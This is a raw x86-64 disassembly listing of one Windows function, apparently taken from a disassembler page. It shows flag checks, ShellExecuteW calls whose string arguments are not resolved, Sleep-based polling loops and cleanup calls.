004529e7mov rax, [rip+0x115d2]
004529eecmp [rax+312], 0
004529f5je 0x452b31
004529fbmov rax, [rip+0x115be]
00452a02cmp [rax+308], 0
00452a09je 0x452a19
00452a0blea rcx, [rip+4130]
00452a12xor edx, edx
00452a14call fn_439060
00452a19
00452a19loc_452a19:
00452a19xor ecx, ecx
00452a1blea rdx, [rip+4154]
00452a22lea r8, [rip+4157]
00452a29lea r9, [rip+4158]
00452a30mov [rsp+32], 0
00452a39mov [rsp+40], 0
00452a41call ShellExecuteW
00452a46xor ecx, ecx
00452a48lea rdx, [rip+4109]
00452a4flea r8, [rip+4112]
00452a56lea r9, [rip+4195]
00452a5dmov [rsp+32], 0
00452a66mov [rsp+40], 0
00452a6ecall ShellExecuteW
00452a73xor ecx, ecx
00452a75lea rdx, [rip+4064]
00452a7clea r8, [rip+4067]
00452a83lea r9, [rip+4258]
00452a8amov [rsp+32], 0
00452a93mov [rsp+40], 0
00452a9bcall ShellExecuteW
00452aa0xor ecx, ecx
00452aa2lea rdx, [rip+4019]
00452aa9lea r8, [rip+4022]
00452ab0lea r9, [rip+4299]
00452ab7mov [rsp+32], 0
00452ac0mov [rsp+40], 0
00452ac8call ShellExecuteW
00452acdxor ecx, ecx
00452acflea rdx, [rip+3974]
00452ad6lea r8, [rip+3977]
00452addlea r9, [rip+4310]
00452ae4mov [rsp+32], 0
00452aedmov [rsp+40], 0
00452af5call ShellExecuteW
00452afaxor ecx, ecx
00452afclea rdx, [rip+3929]
00452b03lea r8, [rip+3932]
00452b0alea r9, [rip+4359]
00452b11mov [rsp+32], 0
00452b1amov [rsp+40], 0
00452b22call ShellExecuteW
00452b27mov ecx, 20000
00452b2ccall Sleep
00452b31
00452b31loc_452b31:
00452b31mov rax, [rip+0x11488]
00452b38cmp [rax+311], 0
00452b3fje 0x452b46
00452b41call fn_44fa30
00452b46
00452b46loc_452b46:
00452b46mov rax, [rip+0x11473]
00452b4dcmp [rax+301], 0
00452b54je 0x452b86
00452b56xor ecx, ecx
00452b58lea rdx, [rip+3837]
00452b5flea r8, [rip+4400]
00452b66lea r9, [rip+4411]
00452b6dlea rax, [rip+4430]
00452b74mov [rsp+32], rax
00452b79mov [rsp+40], 0
00452b81call ShellExecuteW
00452b86
00452b86loc_452b86:
00452b86mov rax, [rip+0x11433]
00452b8dcmp [rax+302], 0
00452b94je 0x452bf8
00452b96lea rcx, [rbp+104]
00452b9axor edx, edx
00452b9ccall fn_405df0
00452ba1lea rcx, [rbp+112]
00452ba5mov edx, 3
00452baalea r8, [rip+4399]
00452bb1mov r9, [rbp+104]
00452bb5lea rax, [rip+4464]
00452bbcmov [rsp+32], rax
00452bc1call fn_40dbb0
00452bc6mov rcx, [rbp+112]
00452bcacall fn_40d710
00452bcfxor ecx, ecx
00452bd1lea rdx, [rip+3716]
00452bd8lea r8, [rip+4325]
00452bdfmov r9, rax
00452be2mov [rsp+32], 0
00452bebmov [rsp+40], 0
00452bf3call ShellExecuteW
00452bf8
00452bf8loc_452bf8:
00452bf8mov rax, [rip+0x11419]
00452bffmov [rax], 0
00452c02jmp 0x4530dc
00452c07
00452c07loc_452c07:
00452c07mov rax, [rip+0x113b2]
00452c0ecmp [rax+307], 0
00452c15je 0x452c9c
00452c1bmov rax, [rip+0x1139e]
00452c22cmp [rax+302], 0
00452c29je 0x452c8d
00452c2blea rcx, [rbp+88]
00452c2fxor edx, edx
00452c31call fn_405df0
00452c36lea rcx, [rbp+96]
00452c3amov edx, 3
00452c3flea r8, [rip+4250]
00452c46mov r9, [rbp+88]
00452c4alea rax, [rip+4315]
00452c51mov [rsp+32], rax
00452c56call fn_40dbb0
00452c5bmov rcx, [rbp+96]
00452c5fcall fn_40d710
00452c64xor ecx, ecx
00452c66lea rdx, [rip+3567]
00452c6dlea r8, [rip+4176]
00452c74mov r9, rax
00452c77mov [rsp+32], 0
00452c80mov [rsp+40], 0
00452c88call ShellExecuteW
00452c8d
00452c8dloc_452c8d:
00452c8dmov rax, [rip+0x11384]
00452c94mov [rax], 0
00452c97jmp 0x4530dc
00452c9c
00452c9cloc_452c9c:
00452c9cmov rax, [rip+0x1131d]
00452ca3cmp [rax+299], 0
00452caaje 0x452cc6
00452cacmov rax, [rip+0x1130d]
00452cb3mov [rax+317], 1
00452cbajmp 0x452cf2
00452cbc
00452cbcloc_452cbc:
00452cbcmov ecx, 10000
00452cc1call Sleep
00452cc6
00452cc6loc_452cc6:
00452cc6xor ecx, ecx
00452cc8xor edx, edx
00452ccalea r8, [rip-27073]
00452cd1xor r9, r9
00452cd4mov [rsp+32], 0
00452cdcmov rax, [rip+0x11235]
00452ce3mov [rsp+40], rax
00452ce8call fn_40bb20
00452cedtest rax, rax
00452cf0je 0x452cbc
00452cf2
00452cf2loc_452cf2:
00452cf2mov ecx, 5000
00452cf7call Sleep
00452cfcmov rax, [rip+0x112bd]
00452d03cmp [rax+299], 0
00452d0aje 0x452d26
00452d0cmov rax, [rip+0x112ad]
00452d13mov [rax+315], 1
00452d1ajmp 0x452d52
00452d1c
00452d1cloc_452d1c:
00452d1cmov ecx, 10000
00452d21call Sleep
00452d26
00452d26loc_452d26:
00452d26xor ecx, ecx
00452d28xor edx, edx
00452d2alea r8, [rip-28177]
00452d31xor r9, r9
00452d34mov [rsp+32], 0
00452d3cmov rax, [rip+0x111d5]
00452d43mov [rsp+40], rax
00452d48call fn_40bb20
00452d4dtest rax, rax
00452d50je 0x452d1c
00452d52
00452d52loc_452d52:
00452d52mov rax, [rip+0x11267]
00452d59cmp [rax+300], 0
00452d60je 0x452d7c
00452d62mov rax, [rip+0x11257]
00452d69mov [rax+319], 1
00452d70jmp 0x452db4
00452d72
00452d72loc_452d72:
00452d72mov ecx, 10000
00452d77call Sleep
00452d7c
00452d7cloc_452d7c:
00452d7cxor ecx, ecx
00452d7exor edx, edx
00452d80lea r8, [rip-17575]
00452d87xor r9, r9
00452d8amov [rsp+32], 0
00452d92mov rax, [rip+0x1117f]
00452d99mov [rsp+40], rax
00452d9ecall fn_40bb20
00452da3test rax, rax
00452da6je 0x452d72
00452da8jmp 0x452db4
00452daa
00452daaloc_452daa:
00452daamov ecx, 10000
00452dafcall Sleep
00452db4
00452db4loc_452db4:
00452db4mov rax, [rip+0x11205]
00452dbbcmp [rax+319], 0
00452dc2je 0x452daa
00452dc4mov rax, [rip+0x111f5]
00452dcbcmp [rax+300], 0
00452dd2je 0x452dee
00452dd4mov rax, [rip+0x111e5]
00452ddbmov [rax+318], 1
00452de2jmp 0x452e1a
00452de4
00452de4loc_452de4:
00452de4mov ecx, 10000
00452de9call Sleep
00452dee
00452deeloc_452dee:
00452deexor ecx, ecx
00452df0xor edx, edx
00452df2lea r8, [rip-18041]
00452df9xor r9, r9
00452dfcmov [rsp+32], 0
00452e04mov rax, [rip+0x1110d]
00452e0bmov [rsp+40], rax
00452e10call fn_40bb20
00452e15test rax, rax
00452e18je 0x452de4
00452e1a
00452e1aloc_452e1a:
00452e1amov ecx, 5000
00452e1fcall Sleep
00452e24mov rax, [rip+0x11195]
00452e2bcmp [rax+300], 0
00452e32je 0x452e4e
00452e34mov rax, [rip+0x11185]
00452e3bmov [rax+316], 1
00452e42jmp 0x452e86
00452e44
00452e44loc_452e44:
00452e44mov ecx, 10000
00452e49call Sleep
00452e4e
00452e4eloc_452e4e:
00452e4exor ecx, ecx
00452e50xor edx, edx
00452e52lea r8, [rip-18905]
00452e59xor r9, r9
00452e5cmov [rsp+32], 0
00452e64mov rax, [rip+0x110ad]
00452e6bmov [rsp+40], rax
00452e70call fn_40bb20
00452e75test rax, rax
00452e78je 0x452e44
00452e7ajmp 0x452e86
00452e7c
00452e7cloc_452e7c:
00452e7cmov ecx, 1000
00452e81call Sleep
00452e86
00452e86loc_452e86:
00452e86mov rax, [rip+0x11133]
00452e8dcmp [rax+315], 0
00452e94je 0x452e7c
00452e96mov rax, [rip+0x11123]
00452e9dcmp [rax+316], 0
00452ea4je 0x452e7c
00452ea6mov rax, [rip+0x11113]
00452eadcmp [rax+317], 0
00452eb4je 0x452e7c
00452eb6mov rax, [rip+0x11103]
00452ebdcmp [rax+318], 0
00452ec4je 0x452e7c
00452ec6call fn_439b10
00452ecbmov rax, [rip+0x110ee]
00452ed2cmp [rax+312], 0
00452ed9je 0x452ff7
00452edfxor ecx, ecx
00452ee1lea rdx, [rip+2932]
00452ee8lea r8, [rip+2935]
00452eeflea r9, [rip+3268]
00452ef6mov [rsp+32], 0
00452effmov [rsp+40], 0
00452f07call ShellExecuteW
00452f0cxor ecx, ecx
00452f0elea rdx, [rip+2887]
00452f15lea r8, [rip+2890]
00452f1clea r9, [rip+3317]
00452f23mov [rsp+32], 0
00452f2cmov [rsp+40], 0
00452f34call ShellExecuteW
00452f39xor ecx, ecx
00452f3blea rdx, [rip+2842]
00452f42lea r8, [rip+2845]
00452f49lea r9, [rip+3036]
00452f50mov [rsp+32], 0
00452f59mov [rsp+40], 0
00452f61call ShellExecuteW
00452f66xor ecx, ecx
00452f68lea rdx, [rip+2797]
00452f6flea r8, [rip+2800]
00452f76lea r9, [rip+2883]
00452f7dmov [rsp+32], 0
00452f86mov [rsp+40], 0
00452f8ecall ShellExecuteW
00452f93xor ecx, ecx
00452f95lea rdx, [rip+2752]
00452f9clea r8, [rip+2755]
00452fa3lea r9, [rip+3032]
00452faamov [rsp+32], 0
00452fb3mov [rsp+40], 0
00452fbbcall ShellExecuteW
00452fc0xor ecx, ecx
00452fc2lea rdx, [rip+2707]
00452fc9lea r8, [rip+2710]
00452fd0lea r9, [rip+2711]
00452fd7mov [rsp+32], 0
00452fe0mov [rsp+40], 0
00452fe8call ShellExecuteW
00452fedmov ecx, 20000
00452ff2call Sleep
00452ff7
00452ff7loc_452ff7:
00452ff7mov rax, [rip+0x10fc2]
00452ffecmp [rax+311], 0
00453005je 0x45300c
00453007call fn_44fa30
0045300c
0045300cloc_45300c:
0045300cmov rax, [rip+0x10fad]
00453013mov rcx, [rax+288]
0045301acall CloseHandle
0045301fmov rax, [rip+0x10f9a]
00453026cmp [rax+301], 0
0045302dje 0x45305f
0045302fxor ecx, ecx
00453031lea rdx, [rip+2596]
00453038lea r8, [rip+3159]
0045303flea r9, [rip+3170]
00453046lea rax, [rip+3189]
0045304dmov [rsp+32], rax
00453052mov [rsp+40], 0
0045305acall ShellExecuteW
0045305f
0045305floc_45305f:
0045305fmov rax, [rip+0x10f5a]
00453066cmp [rax+302], 0
0045306dje 0x4530d1
0045306flea rcx, [rbp+72]
00453073xor edx, edx
00453075call fn_405df0
0045307alea rcx, [rbp+80]
0045307emov edx, 3
00453083lea r8, [rip+3158]
0045308amov r9, [rbp+72]
0045308elea rax, [rip+3223]
00453095mov [rsp+32], rax
0045309acall fn_40dbb0
0045309fmov rcx, [rbp+80]
004530a3call fn_40d710
004530a8xor ecx, ecx
004530aalea rdx, [rip+2475]
004530b1lea r8, [rip+3084]
004530b8mov r9, rax
004530bbmov [rsp+32], 0
004530c4mov [rsp+40], 0
004530cccall ShellExecuteW
004530d1
004530d1loc_4530d1:
004530d1mov rax, [rip+0x10f40]
004530d8mov [rax], 0
004530dbnop
004530dc
004530dcloc_4530dc:
004530dclea rcx, [rbp+72]
004530e0mov edx, 7
004530e5call fn_40bdd0
004530ealea rcx, [rbp+128]
004530f1call fn_40bd90
004530f6lea rcx, [rbp+136]
004530fdcall fn_40bcf0
00453102lea rcx, [rbp+144]
00453109call fn_40bd90
0045310elea rcx, [rbp+152]
00453115call fn_40bd40
0045311alea rcx, [rbp+160]
00453121mov edx, 7
00453126call fn_40bdd0
0045312blea rcx, [rbp+216]
00453132call fn_40bd40
00453137lea rcx, [rbp+224]
0045313emov edx, 2
00453143call fn_40bdd0
00453148lea rcx, [rbp+240]
0045314fcall fn_40bd40
00453154lea rcx, [rbp+248]
0045315bmov edx, 12
00453160call fn_40bdd0
00453165lea rcx, [rbp+344]
0045316ccall fn_40bd40
00453171lea rcx, [rbp+352]
00453178mov edx, 6
0045317dcall fn_40bdd0
00453182lea rcx, [rbp+400]
00453189call fn_40bd90
0045318elea rcx, [rbp+408]
00453195call fn_40bcf0
0045319alea rcx, [rbp+416]
004531a1call fn_40bd40
004531a6lea rcx, [rbp+424]
004531admov edx, 21
004531b2call fn_40bdd0
004531b7call fn_40b880
004531bcjmp 0x4531c6
004531be
004531be 90 90 ..
004531c0 e8 9b 88 fb ff 90 ......
004531c6
004531c6loc_4531c6:
004531c6lea rsp, [rbp+592]
004531cdpop rbp
004531ceret
00451580
Loading..